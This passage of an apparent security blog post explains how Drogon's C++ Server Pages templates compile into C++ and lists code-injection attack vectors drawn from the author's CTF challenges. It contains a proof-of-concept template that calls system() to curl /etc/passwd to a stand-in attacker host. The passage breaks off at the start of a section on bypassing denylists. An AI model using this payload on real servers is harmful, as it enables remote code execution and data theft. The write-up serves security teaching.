&lt;p&gt;This is quite an important question, since it affects how we can inject code, and the defensive measures needed. We can analyse this by running...&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;drogon_ctl create view Example.csp&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Shell&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;which generates Example.h and Example.cc.&lt;/p&gt;
&lt;p&gt;Let&#39;s look at how C++ is generated from markup.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;&amp;lt;%c++ ... %&amp;gt;&lt;/code&gt; - content inside this tag is inserted into a &lt;code&gt;genText()&lt;/code&gt; function.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-label=&quot;Example.csp&quot; class=&quot;language-csp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-csp&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;h1&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;Example&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;h1&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;c&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; a &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;40&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; $$ &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; a&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;h2&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;Hello world&lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;h2&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span&gt;Example.csp&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++ Server Pages&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-label=&quot;Example.cc&quot; data-copy-off=&quot;&quot; class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// Boilerplate: includes...&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;using&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;namespace&lt;/span&gt; drogon&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;string &lt;span class=&quot;token class-name&quot;&gt;Example&lt;/span&gt;&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;genText&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; DrTemplateData&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt; Example_view_data&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    drogon&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;OStringStream Example_tmp_stream&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;string layoutName&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    Example_tmp_stream &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&amp;lt;h1&amp;gt;Example&amp;lt;/h1&amp;gt;&#92;n&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; a &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;40&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; Example_tmp_stream &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; a&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; 
    Example_tmp_stream &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&amp;lt;h2&amp;gt;Hello world!&amp;lt;/h2&amp;gt;&#92;n&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;// Boilerplate: convert stream to string and return...&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span&gt;Example.cc&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;Example_tmp_stream&lt;/code&gt; is a &lt;a href=&quot;https://stackoverflow.com/a/20595061/10239789&quot;&gt;stringstream&lt;/a&gt; used to prepare the final HTML. Eventually, it gets converted to a string and returned.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;{% ... %}&lt;/code&gt; - equivalent to &lt;code&gt;&amp;lt;%c++ $$ &amp;lt;&amp;lt; ... %&amp;gt;&lt;/code&gt;, it just echoes the expression. The closing &lt;code&gt;%}&lt;/code&gt; must be on the same line as the opening &lt;code&gt;{%&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;&amp;lt;%inc ... %&amp;gt;&lt;/code&gt; - meant for including additional libraries. Code is placed in file-level scope.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-label=&quot;Example.csp&quot; class=&quot;language-csp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-csp&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;inc
&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;include&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;lt;algorithm&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;define&lt;/span&gt; &lt;span class=&quot;token macro-name&quot;&gt;MY_MACRO&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;my_function&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;h1&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;Example&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;h1&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span&gt;Example.csp&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++ Server Pages&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-label=&quot;Example.cc&quot; data-copy-off=&quot;&quot; class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// Boilerplate: includes...&lt;/span&gt;
&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;include&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;lt;algorithm&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;define&lt;/span&gt; &lt;span class=&quot;token macro-name&quot;&gt;MY_MACRO&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;my_function&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;using&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;namespace&lt;/span&gt; drogon&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;string &lt;span class=&quot;token class-name&quot;&gt;Example&lt;/span&gt;&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;genText&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; DrTemplateData&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt; Example_view_data&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    drogon&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;OStringStream Example_tmp_stream&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;string layoutName&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    Example_tmp_stream &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&amp;lt;h1&amp;gt;Example&amp;lt;/h1&amp;gt;&#92;n&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;// Boilerplate: convert stream to string and return...&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span&gt;Example.cc&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;[[ ... ]]&lt;/code&gt; - for inserting data passed from application code.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-label=&quot;Example.csp&quot; class=&quot;language-csp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-csp&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;h1&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;Hi &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;name&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;h1&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span&gt;Example.csp&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++ Server Pages&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-label=&quot;Example.cc&quot; data-copy-off=&quot;&quot; class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// ...&lt;/span&gt;
Example_tmp_stream &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&amp;lt;h1&amp;gt;Hi &quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;auto&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt; val&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;Example_view_data&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;val&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;typeid&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        Example_tmp_stream&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token generic-function&quot;&gt;&lt;span class=&quot;token function&quot;&gt;any_cast&lt;/span&gt;&lt;span class=&quot;token generic class-name&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;val&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;val&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;typeid&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;string&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;||&lt;/span&gt;val&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;typeid&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;string&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        Example_tmp_stream&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token generic-function&quot;&gt;&lt;span class=&quot;token function&quot;&gt;any_cast&lt;/span&gt;&lt;span class=&quot;token generic class-name&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;string&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;val&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
Example_tmp_stream &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;!&amp;lt;/h1&amp;gt;&#92;n&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;// ...&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span&gt;Example.cc&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;attack-vectors&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/abusing-server-side-rendering-in-drogon/#attack-vectors&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Attack Vectors&lt;/h2&gt;
&lt;p&gt;There are countless attack vectors to address.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;RCE via Rendered CSP.&lt;/strong&gt; First, we&#39;ll start by looking at a simple PoC which triggers RCE when the view is rendered.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Bypasses.&lt;/strong&gt; We&#39;ll survey common functions and tricks to bypass a denylist.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;RCE via Init Section.&lt;/strong&gt; Here, we&#39;ll trigger RCE without rendering the view.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;RCE via File Name.&lt;/strong&gt; Finally, we&#39;ll discuss a harrowing insecurity in the DVL code path.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Not all of these were exploitable in my CTF chals. I selected a few vectors which I thought were interesting.&lt;/p&gt;
&lt;h3 id=&quot;1-rce-via-rendered-csp&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/abusing-server-side-rendering-in-drogon/#1-rce-via-rendered-csp&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; 1. RCE via Rendered CSP&lt;/h3&gt;
&lt;p&gt;Suppose an attacker can write any CSP content in the dynamic views path. In the simplest case where filtering or checking is non-existent, the attacker can execute malicious commands using the usual &lt;code&gt;system&lt;/code&gt; and &lt;code&gt;execve&lt;/code&gt; functions found in libc. This allows us to exfiltrate sensitive information and launch reverse shells.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-label=&quot;Example.csp&quot; class=&quot;language-csp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-csp&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;c&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;
    &lt;span class=&quot;token function&quot;&gt;system&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;curl http://attacker.site --data @/etc/passwd&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span&gt;Example.csp&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++ Server Pages&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;To trigger this RCE, the application code needs to render the view with &lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token class-name&quot;&gt;HttpResponse&lt;/span&gt;&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;newHttpViewResponse&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;Example.csp&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The following diagram shows where code execution occurs along the pipeline. We&#39;ll update the diagram as we explore other vectors.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Vanilla RCE with Drogon DVL: we can execute code with `&lt;%c++`.&quot; href=&quot;https://trebledj.me/img/posts/infosec/drogon-csp/assets/drogon-dynamic-view-loading-exec-on-render-516w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-60 alpha-imgv&quot; src=&quot;https://trebledj.me/img/posts/infosec/drogon-csp/assets/drogon-dynamic-view-loading-exec-on-render-516w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 516 / 564&quot; alt=&quot;Vanilla RCE with Drogon DVL: we can execute code with `&lt;%c++`.&quot; title=&quot;Vanilla RCE with Drogon DVL: we can execute code with `&lt;%c++`.&quot; srcset=&quot;https://trebledj.me/img/posts/infosec/drogon-csp/assets/drogon-dynamic-view-loading-exec-on-render-256w.webp 256w, https://trebledj.me/img/posts/infosec/drogon-csp/assets/drogon-dynamic-view-loading-exec-on-render-512w.webp 512w, https://trebledj.me/img/posts/infosec/drogon-csp/assets/drogon-dynamic-view-loading-exec-on-render-516w.webp 516w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 516px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;A simple and direct method of abusing CSPs. Execution occurs when the view is rendered, e.g. by calling &lt;code&gt;newHttpViewResponse&lt;/code&gt;.&lt;/sup&gt;&lt;/p&gt;
&lt;h3 id=&quot;2-bypassing-simple-denylists&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/abusing-server-side-rendering-in-drogon/#2-bypassing-simple-denylists&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; 2. Bypassing Simple Denylists&lt;/h3&gt;
&lt;p&gt;If the loophole resides in a few key functions, can&#39;t we simply block those functions?&lt;/p&gt;
&lt;p&gt;No. This is extremely difficult in a diverse language such as C++. Not only does it have its own language features and standard library; but it also inherits most of C&#39;s baggage. There are &lt;em&gt;many&lt;/em&gt; ways to bypass a denylist. As such, a sufficiently secure denylist will either be exhaustively long or severely limiting.&lt;/p&gt;
